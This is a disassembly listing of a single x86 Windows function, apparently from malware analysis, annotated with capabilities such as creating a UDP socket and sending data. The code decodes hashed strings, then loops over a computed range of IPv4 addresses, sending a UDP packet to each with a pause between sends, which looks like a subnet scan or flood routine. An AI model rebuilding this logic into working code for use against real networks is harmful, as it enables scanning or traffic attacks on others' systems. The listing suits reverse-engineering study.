Function at 0x405cb9
Capabilities:
Create udp socket
Print debug messages
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1e4
push ebx
push esi
push edi
xor ebx, ebx
push ebx
push 0x354765c7
push 7
push 0x41604c
mov byte [ebp - 5], 0
call fcn.0040a2d3
push eax
mov eax, dword [ebp + 8]
call fcn.0041365f
mov esi, eax
add esp, 0x14
cmp esi, ebx
je 0x405fcc
push ebx
push 0x55ff9e88
push 0xa
push 0x416054
call fcn.0040a2d3
push eax
mov eax, esi
call fcn.0041365f
mov esi, eax
add esp, 0x14
mov dword [ebp - 0xc], esi
cmp esi, ebx
je 0x405fcc
push ebx
push 0xe687a959
push 7
push 0x416060
call fcn.0040a2d3
push eax
mov eax, esi
call fcn.0041365f
add esp, 0x14
call fcn.0041371b
mov dword [ebp - 0x20], eax
mov dword [ebp - 0x14], ebx
cmp eax, ebx
jne 0x405d4d
or dword [ebp - 0x20], 0xffffffff
lea eax, [ebp - 0x14]
push eax
push ecx
push dword [ebp + 0xc]
mov eax, esi
call fcn.0041365f
pop ecx
mov edi, eax
call fcn.00413782
pop ecx
push eax
push dword [ebp + 8]
call fcn.004061f7
add esp, 0xc
mov dword [ebp - 0x18], eax
cmp eax, ebx
je 0x405fcc
push dword [ebp - 0x14]
mov esi, dword [sym.imp.USER32.dll_CharLowerBuffA]
push eax
call esi
lea eax, [ebp - 0x44]
push eax
push dword [ebp - 0x14]
push dword [ebp - 0x18]
call fcn.0040bf88
add esp, 0xc
push ebx
push 0x7e3dde90
push 4
push 0x416068
call fcn.0040a2d3
movzx ecx, byte [ebp - 0x44]
push ecx
push eax
push dword [ebp - 0x14]
lea ecx, [ebp - 0x18]
call fcn.0040ca59
add esp, 0x1c
push eax
push dword [ebp - 0x18]
mov dword [ebp - 0x14], eax
call esi
push ebx
push 0xddcc6f9a
push 0xb
push 0x416070
call fcn.0040a2d3
push ebx
push 0x4559cb19
push 2
push 0x41607c
mov esi, eax
call fcn.0040a2d3
add esp, 0x20
lea ecx, [ebp - 0x34]
push ecx
lea ecx, [ebp - 0x118]
push ecx
lea ecx, [ebp - 0xb0]
push ecx
push esi
push eax
mov eax, dword [ebp - 0xc]
call fcn.0041365f
pop ecx
mov edi, eax
call fcn.00413782
mov ecx, eax
call fcn.0040cbab
push ebx
push 0x5f2c3fbe
push 4
push 0x416080
call fcn.0040a2d3
push eax
mov eax, dword [ebp - 0xc]
call fcn.0041365f
add esp, 0x24
call fcn.0041371b
movzx eax, ax
mov dword [ebp - 0xc], eax
mov al, byte [ebp - 0x34]
call fcn.0040d74f
mov esi, eax
lea eax, [ebp - 0xb0]
push eax
call fcn.0040d70d
mov ebx, eax
and ebx, esi
not esi
or esi, ebx
xor eax, eax
lea edi, [ebp - 0x2e]
pop ecx
mov dword [ebp - 0x1c], ebx
mov dword [ebp - 0x10], esi
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
push 2
stosw word es:[edi], ax
pop eax
push dword [ebp - 0xc]
mov word [ebp - 0x30], ax
call dword [sym.imp.WS2_32.dll_htons]
push 0x11
push 2
push 2
mov word [ebp - 0x2e], ax
call dword [sym.imp.WS2_32.dll_socket]
mov edi, eax
cmp edi, 0xffffffff
je 0x405fc4
and dword [ebp - 0xc], 0
mov byte [ebp - 2], bl
cmp bl, byte [ebp - 0x10]
ja 0x405fbd
mov byte [ebp - 1], bh
cmp bh, byte [ebp - 0xf]
ja 0x405fa8
mov al, byte [ebp - 0x1a]
jmp 0x405f87
mov al, byte [ebp - 0x19]
jmp 0x405f72
mov eax, dword [ebp - 0xc]
inc dword [ebp - 0xc]
cmp eax, dword [ebp - 0x20]
jne 0x405ee6
and dword [ebp - 0xc], 0
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
mov al, byte [ebp - 2]
push dword [ebp + 8]
mov byte [ebp - 0x2c], al
mov al, byte [ebp - 1]
mov byte [ebp - 0x2b], al
mov al, byte [ebp - 4]
mov byte [ebp - 0x2a], al
mov al, byte [ebp - 3]
mov byte [ebp - 0x29], al
call fcn.00406f63
pop ecx
test al, al
je 0x405f4b
push dword [ebp - 0x2c]
call dword [sym.imp.WS2_32.dll_inet_ntoa]
push 0
push 0x13b2ec9a
push 0x13
push 0x416088
mov esi, eax
call fcn.0040a2d3
push dword [ebp - 0x18]
push esi
push eax
lea eax, [ebp - 0x1e0]
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x20
lea eax, [ebp - 0x1e0]
push eax
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
push 0x10
lea eax, [ebp - 0x30]
push eax
push 0
push dword [ebp - 0x14]
push dword [ebp - 0x18]
push edi
call dword [sym.imp.WS2_32.dll_sendto]
cmp eax, dword [ebp - 0x14]
jne 0x405f69
mov byte [ebp - 5], 1
mov al, byte [ebp - 3]
cmp al, 0xff
je 0x405f7e
inc al
mov byte [ebp - 3], al
cmp al, byte [ebp - 0xd]
jbe 0x405ecc
mov al, byte [ebp - 4]
cmp al, 0xff
je 0x405f93
inc al
mov byte [ebp - 4], al
cmp al, byte [ebp - 0xe]
jbe 0x405ec4
cmp byte [ebp - 1], 0xff
je 0x405fa8
inc byte [ebp - 1]
mov al, byte [ebp - 1]
cmp al, byte [ebp - 0xf]
jbe 0x405ebc
cmp byte [ebp - 2], 0xff
je 0x405fbd
inc byte [ebp - 2]
mov al, byte [ebp - 2]
cmp al, byte [ebp - 0x10]
jbe 0x405eb0
push edi
call fcn.0040d738
pop ecx
mov esi, dword [ebp - 0x18]
call fcn.00408de5
mov al, byte [ebp - 5]
pop edi
pop esi
pop ebx
leave
ret